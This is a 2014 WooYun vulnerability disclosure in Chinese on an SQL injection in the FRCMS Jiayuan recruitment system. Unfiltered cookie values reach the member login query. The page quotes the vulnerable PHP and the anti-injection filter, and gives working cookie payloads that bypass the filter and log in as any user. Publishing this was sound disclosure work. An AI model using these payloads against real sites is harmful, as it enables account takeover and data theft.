当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-074219

漏洞标题:嘉缘人才系统SQL注入导致任意用户登陆

相关厂商:finereason.com

漏洞作者: xfkxfk

提交时间:2014-08-29 10:26

修复时间:2014-11-24 10:28

公开时间:2014-11-24 10:28

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-29: 细节已通知厂商并且等待厂商处理中
2014-09-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-10-28: 细节向核心白帽子及相关领域专家公开
2014-11-07: 细节向普通白帽子公开
2014-11-17: 细节向实习白帽子公开
2014-11-24: 细节向公众公开

简要描述:

嘉缘人才系统SQL注入导致任意用户登陆

详细说明:

文件member/index.php

require('check.php');
if(empty($do)) $do= '';
$titstr="会员中心";
$user_type=_getcookie('user_type');$ut='';
$user_type=='pmember'&&$ut='person';
$user_type=='cmember'&&$ut='company';
$user_type=='smember'&&$ut='school';
$user_type=='tmember'&&$ut='train';


这里包含了check.php,跟进
文件member/check.php

<?php
/*
[FRCMS] Copyright (c) 2010 Finereason.COM
This is NOT a freeware, use is subject to license.txt
*/
defined('IN_FR') or exit('Access Denied');
!isset($db)&&$db=connectdb();
$goto=urlencode($_SERVER['REQUEST_URI']);
$username=_getcookie('user_login');
if($username==''){
$str='';
foreach($_POST as $key => $val){
$str.="&$key=$val";
}
$goto=urlencode(joinchar($_SERVER['REQUEST_URI']).substr($str,1));
echo "<script language=JavaScript>{location.href='{$cfg['path']}login.php?goto=$goto';}</script>";
exit();
}else{
$userpass=_getcookie('user_pass');
$rs = $db->get_one("select m_id,m_flag,DATEDIFF(m_enddate,'".date('Y-m-d')."') as end,m_typeid,m_groupid,m_balance,m_integral,m_resumenums,m_mysendnums,m_mysendnum,m_myinterviewnums,m_myinterviewnum,m_myfavoritenums,m_myfavoritenum,m_letternums,m_contactnums,m_contactnum,m_expertnums,m_expertnum,m_recyclenums,m_recyclenum,m_hirenums,m_hirenum,m_hirenums,m_hirenum,m_smsnums,m_smsnum,m_operator,m_openid,m_mobileauth,m_emailauth,m_logo,m_confirm,m_logostatus from {$cfg['tb_pre']}member where m_login='$username' and m_pwd='$userpass' limit 0,1");


这里注意:
$username=_getcookie('user_login');
$userpass=_getcookie('user_pass');
$username和$userpass进入了SQL语句,继续跟进_getcookie
文件/inc/common.inc.php

function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? $_COOKIE[$var] : '';
}


这里的$cfg['cookie_pre']='fr_'
直接从_COOKIE获取参数值带入了上面的SQL语句,没有任何过滤,导致SQL注入
这里在进入SQL之前有一个防注入:

function checksql($dbstr,$querytype='select'){
$clean = '';
$old_pos = 0;
$pos = -1;
//普通语句,直接过滤特殊语法
if($querytype=='select'){
$nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i";
if(preg_match($nastr,$dbstr)){
log_write($dbstr,'sql');
showmsg('SafeError:10001', 'javascript:;');
exit();
}
}
//完整的SQL检查
while (true){
$pos = strpos($dbstr, '\'', $pos + 1);
if ($pos === false){
break;
}
$clean .= substr($dbstr, $old_pos, $pos - $old_pos);
while (true){
$pos1 = strpos($dbstr, '\'', $pos + 1);
$pos2 = strpos($dbstr, '\\', $pos + 1);
if ($pos1 === false){
break;
}
elseif ($pos2 == false || $pos2 > $pos1){
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($dbstr, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){
$fail = true;
}
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (preg_match('~\([^)]*?select~s', $clean) != 0){
$fail = true;
}
if (!empty($fail)){
log_write($dbstr,'sql');
showmsg('SafeError:10002', 'javascript:;');exit;
}
else
{
return $dbstr;
}
}
?>


但是可以轻易绕过了

漏洞证明:

访问:http://10.65.20.198/frcms/member/index.php
然后抓包,将cookie中的fr_user_pass或者fr_user_login的值加入单引号'
发送请求,会导致sql报错:

111.png


那么这里我们可以任意用户登录了。
发送cookie:fr_user_login=111111' and char(@`'`) or 1=2#会跳转到登陆页面
发送cookie:fr_user_login=111111' and char(@`'`) or 1=1#即可登陆用户

222.png


这里cookei中的 fr_user_type表示用户类型,修改这里的 fr_user_type的值即可登陆不同用户了。

修复方案:

过滤

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-11-24 10:28

厂商回复:

最新状态:

2014-09-13:最近没有登录乌云,未及时处理,系统自动胡乱,在这里感谢提交此漏洞,官方紧急修复处理中。